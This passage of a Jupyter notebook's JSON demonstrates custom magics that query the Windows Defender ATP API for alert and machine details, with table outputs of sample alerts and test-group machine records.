\"os.startfile(filepath)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## WDATP and Jupyter Magics\\n\",\n    \"\\n\",\n    \"Lines starting with % signify a Jupyter magic. A \\\"line magic\\\" take the text after the command and does something with it. This notebook defines several magics to make it easier to access the data you need.\\n\",\n    \"\\n\",\n    \"### Alert magic\\n\",\n    \"\\n\",\n    \"`%wdatp_alert` takes an alert id and calls the API to get details about it\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 25,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>alertCreationTime</th>\\n\",\n       \"      <th>assignedTo</th>\\n\",\n       \"      <th>category</th>\\n\",\n       \"      <th>classification</th>\\n\",\n       \"      <th>description</th>\\n\",\n       \"      <th>detectionSource</th>\\n\",\n       \"      <th>determination</th>\\n\",\n       \"      <th>firstEventTime</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>incidentId</th>\\n\",\n       \"      <th>investigationState</th>\\n\",\n       \"      <th>lastEventTime</th>\\n\",\n       \"      <th>machineId</th>\\n\",\n       \"      <th>recommendedAction</th>\\n\",\n       \"      <th>resolvedTime</th>\\n\",\n       \"      <th>severity</th>\\n\",\n       \"      <th>status</th>\\n\",\n       \"      <th>threatFamilyName</th>\\n\",\n       \"      <th>title</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-11-29T14:32:50.700606Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Persistence</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A Managed Object Format (MOF) file was compile...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T14:30:37.5433497Z</td>\\n\",\n       \"      <td>636790987710443598_664996183</td>\\n\",\n       \"      <td>7926</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-29T14:30:37.5433497Z</td>\\n\",\n       \"      <td>70fa0de59ee97660f15d02d94431c54cdab83490</td>\\n\",\n       \"      <td>Investigate the machine timeline to determine ...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A MOF file was compiled to a remote machine</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"\\n\",\n       \"             alertCreationTime assignedTo     category classification  \\\\\\n\",\n       \"0  2018-11-29T14:32:50.700606Z       None  Persistence           None   \\n\",\n       \"\\n\",\n       \"                                         description     detectionSource  \\\\\\n\",\n       \"0  A Managed Object Format (MOF) file was compile...  WindowsDefenderAtp   \\n\",\n       \"\\n\",\n       \"  determination                firstEventTime                            id  \\\\\\n\",\n       \"0          None  2018-11-29T14:30:37.5433497Z  636790987710443598_664996183   \\n\",\n       \"\\n\",\n       \"   incidentId    investigationState                 lastEventTime  \\\\\\n\",\n       \"0        7926  UnsupportedAlertType  2018-11-29T14:30:37.5433497Z   \\n\",\n       \"\\n\",\n       \"                                  machineId  \\\\\\n\",\n       \"0  70fa0de59ee97660f15d02d94431c54cdab83490   \\n\",\n       \"\\n\",\n       \"                                   recommendedAction resolvedTime severity  \\\\\\n\",\n       \"0  Investigate the machine timeline to determine ...         None   Medium   \\n\",\n       \"\\n\",\n       \"  status threatFamilyName                                        title  \\n\",\n       \"0    New             None  A MOF file was compiled to a remote machine  \"\n      ]\n     },\n     \"execution_count\": 25,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%wdatp_alert 636790987710443598_664996183\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Querying multiple alerts and regex\\n\",\n    \"You can also provide a list of alert ids and invoke the cell magic with `%%wdatp_alert`\\n\",\n    \"\\n\",\n    \"Because alert ids have a standard syntax, the alert magic also can take arbitrary text and it will extract alert ids\\n\",\n    \"by using a regex.  This is handy if you want to quickly copy-paste some text from an email or chat window that has\\n\",\n    \"alert ids intermixed with conversation.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 26,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>alertCreationTime</th>\\n\",\n       \"      <th>assignedTo</th>\\n\",\n       \"      <th>category</th>\\n\",\n       \"      <th>classification</th>\\n\",\n       \"      <th>description</th>\\n\",\n       \"      <th>detectionSource</th>\\n\",\n       \"      <th>determination</th>\\n\",\n       \"      <th>firstEventTime</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>incidentId</th>\\n\",\n       \"      <th>investigationState</th>\\n\",\n       \"      <th>lastEventTime</th>\\n\",\n       \"      <th>machineId</th>\\n\",\n       \"      <th>recommendedAction</th>\\n\",\n       \"      <th>resolvedTime</th>\\n\",\n       \"      <th>severity</th>\\n\",\n       \"      <th>status</th>\\n\",\n       \"      <th>threatFamilyName</th>\\n\",\n       \"      <th>title</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-08-14T19:26:27.4528493Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Persistence</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A system program was registered as a service. ...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-08-13T20:31:06.239112Z</td>\\n\",\n       \"      <td>636698715877028436_-1454424532</td>\\n\",\n       \"      <td>1661</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-29T08:34:04.2921503Z</td>\\n\",\n       \"      <td>4ba08007cb47ed0b9730b3460ea843a979cd90ce</td>\\n\",\n       \"      <td>A. Validate the alert and scope the suspected ...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Suspicious service registration</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-08-22T14:34:31.2405008Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Persistence</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A system program was registered as a service. ...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-08-22T14:33:04.4073986Z</td>\\n\",\n       \"      <td>636705452714124042_1136763438</td>\\n\",\n       \"      <td>2110</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-29T07:14:54.6843398Z</td>\\n\",\n       \"      <td>80884f1c67675ae214faec3fc33652e1d2e9ad23</td>\\n\",\n       \"      <td>A. Validate the alert and scope the suspected ...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Suspicious service registration</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>2018-11-29T14:05:21.6610823Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>SuspiciousActivity</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A suspicious behavior by a system utility was ...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T06:59:35.0661428Z</td>\\n\",\n       \"      <td>636790971221142208_-501438763</td>\\n\",\n       \"      <td>7922</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-29T07:07:08.9902767Z</td>\\n\",\n       \"      <td>c69ae95b5e28737d804e16485675d8adf61a64da</td>\\n\",\n       \"      <td>1. Inspect processes and files in the executio...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Suspicious behavior by a system utility was ob...</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...   \\n\",\n       \"\\n\",\n       \"              alertCreationTime assignedTo            category classification  \\\\\\n\",\n       \"0  2018-08-14T19:26:27.4528493Z       None         Persistence           None   \\n\",\n       \"0  2018-08-22T14:34:31.2405008Z       None         Persistence           None   \\n\",\n       \"0  2018-11-29T14:05:21.6610823Z       None  SuspiciousActivity           None   \\n\",\n       \"\\n\",\n       \"                                         description     detectionSource  \\\\\\n\",\n       \"0  A system program was registered as a service. ...  WindowsDefenderAtp   \\n\",\n       \"0  A system program was registered as a service. ...  WindowsDefenderAtp   \\n\",\n       \"0  A suspicious behavior by a system utility was ...  WindowsDefenderAtp   \\n\",\n       \"\\n\",\n       \"  determination                firstEventTime                              id  \\\\\\n\",\n       \"0          None   2018-08-13T20:31:06.239112Z  636698715877028436_-1454424532   \\n\",\n       \"0          None  2018-08-22T14:33:04.4073986Z   636705452714124042_1136763438   \\n\",\n       \"0          None  2018-11-29T06:59:35.0661428Z   636790971221142208_-501438763   \\n\",\n       \"\\n\",\n       \"   incidentId    investigationState                 lastEventTime  \\\\\\n\",\n       \"0        1661  UnsupportedAlertType  2018-11-29T08:34:04.2921503Z   \\n\",\n       \"0        2110  UnsupportedAlertType  2018-11-29T07:14:54.6843398Z   \\n\",\n       \"0        7922  UnsupportedAlertType  2018-11-29T07:07:08.9902767Z   \\n\",\n       \"\\n\",\n       \"                                  machineId  \\\\\\n\",\n       \"0  4ba08007cb47ed0b9730b3460ea843a979cd90ce   \\n\",\n       \"0  80884f1c67675ae214faec3fc33652e1d2e9ad23   \\n\",\n       \"0  c69ae95b5e28737d804e16485675d8adf61a64da   \\n\",\n       \"\\n\",\n       \"                                   recommendedAction resolvedTime severity  \\\\\\n\",\n       \"0  A. Validate the alert and scope the suspected ...         None   Medium   \\n\",\n       \"0  A. Validate the alert and scope the suspected ...         None   Medium   \\n\",\n       \"0  1. Inspect processes and files in the executio...         None   Medium   \\n\",\n       \"\\n\",\n       \"  status threatFamilyName                                              title  \\n\",\n       \"0    New             None                    Suspicious service registration  \\n\",\n       \"0    New             None                    Suspicious service registration  \\n\",\n       \"0    New             None  Suspicious behavior by a system utility was ob...  \"\n      ]\n     },\n     \"execution_count\": 26,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%%wdatp_alert\\n\",\n    \"Billy, be sure to investigate these 3 alerts and verify your results with Sue\\n\",\n    \"636698715877028436_-1454424532\\n\",\n    \"636705452714124042_1136763438\\n\",\n    \"636790971221142208_-501438763\\n\",\n    \"Please update the ticket when completed,\\n\",\n    \"Thanks \\n\",\n    \"Alicia\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"### Machine magic\\n\",\n    \"`%wdatp_machine` is the magic for a machine. You can pass in a machine id or hostname\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 36,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17756.1</td>\\n\",\n       \"      <td>desktop-5m6k86k</td>\\n\",\n       \"      <td>2018-10-12T08:25:59.4496124Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>ff650e5231004a86d0692d8b0e942bdd0c8e085f</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>167.220.196.78</td>\\n\",\n       \"      <td>10.166.175.78</td>\\n\",\n       \"      <td>2018-11-30T10:00:45.7939636Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17756</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                      @odata.context aadDeviceId  \\\\\\n\",\n       \"0  https://api.securitycenter.windows.com/api/$me...        None   \\n\",\n       \"\\n\",\n       \"      agentVersion  computerDnsName                     firstSeen  \\\\\\n\",\n       \"0  10.5840.17756.1  desktop-5m6k86k  2018-10-12T08:25:59.4496124Z   \\n\",\n       \"\\n\",\n       \"  healthStatus                                        id  isAadJoined  \\\\\\n\",\n       \"0       Active  ff650e5231004a86d0692d8b0e942bdd0c8e085f        False   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress  lastIpAddress                      lastSeen  \\\\\\n\",\n       \"0        167.220.196.78  10.166.175.78  2018-11-30T10:00:45.7939636Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17756  Windows10      None           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0      High  \"\n      ]\n     },\n     \"execution_count\": 36,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%wdatp_machine ff650e5231004a86d0692d8b0e942bdd0c8e085f\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 37,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17756.1</td>\\n\",\n       \"      <td>desktop-5m6k86k</td>\\n\",\n       \"      <td>2018-10-12T08:25:59.4496124Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>ff650e5231004a86d0692d8b0e942bdd0c8e085f</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>167.220.196.78</td>\\n\",\n       \"      <td>10.166.175.78</td>\\n\",\n       \"      <td>2018-11-30T10:00:45.7939636Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17756</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"  aadDeviceId     agentVersion  computerDnsName                     firstSeen  \\\\\\n\",\n       \"0        None  10.5840.17756.1  desktop-5m6k86k  2018-10-12T08:25:59.4496124Z   \\n\",\n       \"\\n\",\n       \"  healthStatus                                        id  isAadJoined  \\\\\\n\",\n       \"0       Active  ff650e5231004a86d0692d8b0e942bdd0c8e085f        False   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress  lastIpAddress                      lastSeen  \\\\\\n\",\n       \"0        167.220.196.78  10.166.175.78  2018-11-30T10:00:45.7939636Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17756  Windows10      None           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0      High  \"\n      ]\n     },\n     \"execution_count\": 37,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%wdatp_machine desktop-5m6k86k\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Machine cell magic\\n\",\n    \"You can also provide a list of machine ids or hostnames and invoke the cell magic with `%%wdatp_machine`\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 38,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17756.1</td>\\n\",\n       \"      <td>desktop-5m6k86k</td>\\n\",\n       \"      <td>2018-10-12T08:25:59.4496124Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>ff650e5231004a86d0692d8b0e942bdd0c8e085f</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>167.220.196.78</td>\\n\",\n       \"      <td>10.166.175.78</td>\\n\",\n       \"      <td>2018-11-30T10:00:45.7939636Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17756</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5840.17763.1</td>\\n\",\n       \"      <td>desktop-jqlsi5j</td>\\n\",\n       \"      <td>2018-03-15T18:38:22.2435062Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c46e5570fbe248b00194c82a1a17541588b276fc</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>104.42.20.124</td>\\n\",\n       \"      <td>192.168.137.101</td>\\n\",\n       \"      <td>2018-11-29T12:48:07.5768316Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17763</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>10.0.0.0</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>10.5810.17728.1000</td>\\n\",\n       \"      <td>desktop-vn7j6e8</td>\\n\",\n       \"      <td>2018-07-31T11:39:13.7979264Z</td>\\n\",\n       \"      <td>Active</td>\\n\",\n       \"      <td>c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>90.253.95.54</td>\\n\",\n       \"      <td>172.18.9.1</td>\\n\",\n       \"      <td>2018-11-29T16:28:01.025171Z</td>\\n\",\n       \"      <td>[]</td>\\n\",\n       \"      <td>17728</td>\\n\",\n       \"      <td>Windows10</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>72</td>\\n\",\n       \"      <td>avital test prd</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"  aadDeviceId        agentVersion  computerDnsName  \\\\\\n\",\n       \"0        None     10.5840.17756.1  desktop-5m6k86k   \\n\",\n       \"0        None     10.5840.17763.1  desktop-jqlsi5j   \\n\",\n       \"0        None  10.5810.17728.1000  desktop-vn7j6e8   \\n\",\n       \"\\n\",\n       \"                      firstSeen healthStatus  \\\\\\n\",\n       \"0  2018-10-12T08:25:59.4496124Z       Active   \\n\",\n       \"0  2018-03-15T18:38:22.2435062Z       Active   \\n\",\n       \"0  2018-07-31T11:39:13.7979264Z       Active   \\n\",\n       \"\\n\",\n       \"                                         id  isAadJoined  \\\\\\n\",\n       \"0  ff650e5231004a86d0692d8b0e942bdd0c8e085f        False   \\n\",\n       \"0  c46e5570fbe248b00194c82a1a17541588b276fc        False   \\n\",\n       \"0  c2b1722ec43f89c61f4f332e7b35ab183a2ef6d8         True   \\n\",\n       \"\\n\",\n       \"  lastExternalIpAddress    lastIpAddress                      lastSeen  \\\\\\n\",\n       \"0        167.220.196.78    10.166.175.78  2018-11-30T10:00:45.7939636Z   \\n\",\n       \"0         104.42.20.124  192.168.137.101  2018-11-29T12:48:07.5768316Z   \\n\",\n       \"0          90.253.95.54       172.18.9.1   2018-11-29T16:28:01.025171Z   \\n\",\n       \"\\n\",\n       \"  machineTags  osBuild osPlatform osVersion  rbacGroupId    rbacGroupName  \\\\\\n\",\n       \"0          []    17756  Windows10      None           72  avital test prd   \\n\",\n       \"0          []    17763  Windows10  10.0.0.0           72  avital test prd   \\n\",\n       \"0          []    17728  Windows10      None           72  avital test prd   \\n\",\n       \"\\n\",\n       \"  riskScore  \\n\",\n       \"0      High  \\n\",\n       \"0      High  \\n\",\n       \"0    Medium  \"\n      ]\n     },\n     \"execution_count\": 38,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%%wdatp_machine \\n\",\n    \"desktop-5m6k86k\\n\",\n    \"desktop-jqlsi5j\\n\",\n    \"desktop-vn7j6e8\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 39,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>aadDeviceId</th>\\n\",\n       \"      <th>agentVersion</th>\\n\",\n       \"      <th>computerDnsName</th>\\n\",\n       \"      <th>firstSeen</th>\\n\",\n       \"      <th>healthStatus</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>isAadJoined</th>\\n\",\n       \"      <th>lastExternalIpAddress</th>\\n\",\n       \"      <th>lastIpAddress</th>\\n\",\n       \"      <th>lastSeen</th>\\n\",\n       \"      <th>machineTags</th>\\n\",\n       \"      <th>osBuild</th>\\n\",\n       \"      <th>osPlatform</th>\\n\",\n       \"      <th>osVersion</th>\\n\",\n       \"      <th>rbacGroupId</th>\\n\",\n       \"      <th>rbacGroupName</th>\\n\",\n       \"      <th>riskScore</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  